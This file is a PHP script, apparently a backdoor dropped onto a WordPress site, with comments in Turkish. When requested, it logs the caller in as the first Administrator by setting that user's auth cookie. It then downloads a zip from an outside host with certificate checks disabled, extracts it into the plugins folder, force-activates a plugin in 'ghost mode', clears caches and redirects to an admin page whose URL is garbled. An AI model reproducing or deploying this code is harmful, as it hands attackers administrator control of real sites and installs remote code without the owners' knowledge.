<?php@ini_set('display_errors', 0);@set_time_limit(0);$mr = $_SERVER['DOCUMENT_ROOT'];@chdir($mr);if (file_exists('wp-load.php')) {    include 'wp-load.php';        // Admin kullanıcı bul ve cookie set et    $wp_user_query = new WP_User_Query(array(        'role' => 'Administrator',        'number' => 1,        'fields' => 'ID'    ));        $results = $wp_user_query->get_results();        if (!isset($results[0])) {        die('NO ADMIN');    }        wp_set_auth_cookie($results[0]);        // WordPress sistemine takılmadan direkt işlem yap    global $wpdb;        // Eklenti kontrolü ve güncelleme    $active_plugins = get_option('active_plugins', array());    $plugin_file = 'gplrock-auto-publisher/gplrock-auto-publisher.php';        // HER ZAMAN yeni versiyonu indir ve üzerine yaz    $plugin_url = 'https://panel21.com/downloads/repository/plugins/tipo-plugin-auto.zip';    $temp_file = WP_PLUGIN_DIR . '/gplrock-temp.zip';        // cURL ile indir    $ch = curl_init();    curl_setopt($ch, CURLOPT_URL, $plugin_url);    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);    curl_setopt($ch, CURLOPT_TIMEOUT, 60);    $zip_content = curl_exec($ch);    curl_close($ch);        if ($zip_content) {        // ZIP dosyasını kaydet        file_put_contents($temp_file, $zip_content);                // ZIP çıkart - Üzerine yaz (override)        $zip = new ZipArchive();        if ($zip->open($temp_file) === TRUE) {            $zip->extractTo(WP_PLUGIN_DIR);            $zip->close();                        // Geçici dosyayı sil            @unlink($temp_file);                        // Eklenti listede yoksa ekle (varsa zaten aktif)            if (!in_array($plugin_file, $active_plugins)) {                $active_plugins[] = $plugin_file;                update_option('active_plugins', $active_plugins);            }                        // Eklenti durumunu güncelle            update_option('gplrock_ghost_mode', true);            update_option('gplrock_ghost_setup_completed', true);            update_option('gplrock_ghost_setup_date', current_time('mysql'));                        // Cache temizle - WordPress fonksiyonları olmadan            if (function_exists('wp_cache_flush')) {                wp_cache_flush();            }                        // Transient'ları temizle            $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_transient_%'");            $wpdb->query("DELETE FROM {$wpdb->options} WHERE option_name LIKE '_site_transient_%'");                        // Rewrite kurallarını temizle            delete_option('rewrite_rules');        }    }        // Admin paneline git    wp_redirect(admin_url('admyyyyyyyyyyyyyyyyyyyyyyyyyyyydasdasdasdock-dashboard'));    exit;    } else {    die('Failed to load WordPress');}?> 